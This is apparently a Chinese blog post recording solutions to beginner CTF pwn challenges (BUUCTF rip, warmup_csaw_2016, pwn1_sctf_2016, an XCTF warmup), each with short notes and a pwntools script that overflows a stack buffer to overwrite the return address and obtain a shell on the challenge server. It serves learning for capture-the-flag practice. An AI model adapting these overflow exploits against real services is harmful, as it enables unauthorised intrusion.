BUUCTF | pwn 刷题记录

BUUCTF | test_your_nc

BUUCTF | rip

从IDA和远程的链接可以看出问题,IDA(或者说在本地跑时,先接收一句话,后输入点),而远程的输入点提前了,所以写脚本时要注意

问题解决:ret+1

参考

http://blog.eonew.cn/archives/958

  from pwn import *
  #context.log_level='debug'


  p = remote('node3.buuoj.cn', 28164)

  #p = process('/pwn1')



  payload = 'a' * (0xf + 8) + p64(0x401186+1)

  p.sendline(payload)

  p.interactive()

BUUCTF | warmup_csaw_2016

checksec 没有任何保护

  from pwn import *
  context.log_level='debug'
  p = remote('node3.buuoj.cn', 26028)
  #p =process('./warmup_csaw_2016')
  p.recvuntil('\n')
  p.recvuntil('WOW:')
  a=p.recvuntil('\n').strip('\n')
  b=int(a,16)

  payload = 'a' * (0x40 + 8) + p64(b)      
  p.send(payload)
  p.interactive()

xctf | warmup

脚本参考

#coding:utf8

from pwn import *
# context.log_level = 'debug'

def send_fuzz(p, num, type):
	payload = 'A'*num
	if type == 1:
		payload += p32(addr)
	if type == 2:
		payload += p64(addr)
	p.sendlineafter('>', payload)



def main():
	for i in range (0x100):
		for j in range(3):
			p = remote("220.249.52.133",32497)  
			try:
				send_fuzz(p, i+1, j)
				r = p.recv()
				print('recv::length='+ str(len(r)) +',content=\''+r+'\'\n')
				p.interactive()

			except:  
				p.close()

def get_addr():
	p = remote("220.249.52.133",32497)  
	p.recvuntil('\n')
  	p.recvuntil('WOW:')
  	a=p.recvuntil('\n').strip('\n')
  	num=int(a,16)
  	return num
addr=get_addr()
main()

BUUCTF | pwn1_sctf_2016

这种方法类似是对'I'进行过滤定向替换成'you'(想起了服务器对>以及php发的过滤,有点跑题),这种替换回填这解决了我们的栈空间控制问题,输入的少,但转化之后控制的多

0x3c=48+12=60=>20*3(基于'I'=》'you') 20*'I'+'bbbb'+ret满足输入的个数,这样构造即可

from pwn import *
#context.log_level='debug'
#p=process('./pwn1_sctf_2016')
p=remote("node3.buuoj.cn",25348)
#p.recvuntil('Tell me something about yourself: ')  //远端测试后是先接收后输出

addr=0x08048f0d
payload=20*'I'+'bbbb'+p32(addr)
p.sendline(payload)
p.interactive()

在线的类IDA

官网

其实是一个在线的反编译软件,感兴趣的可以试试,界面真的很好,但是功能上还是IDA香

https://binary.ninja/demo/

posted @ 2020-05-19 18:09  zer0_1s  阅读(1099)  评论(0编辑  收藏  举报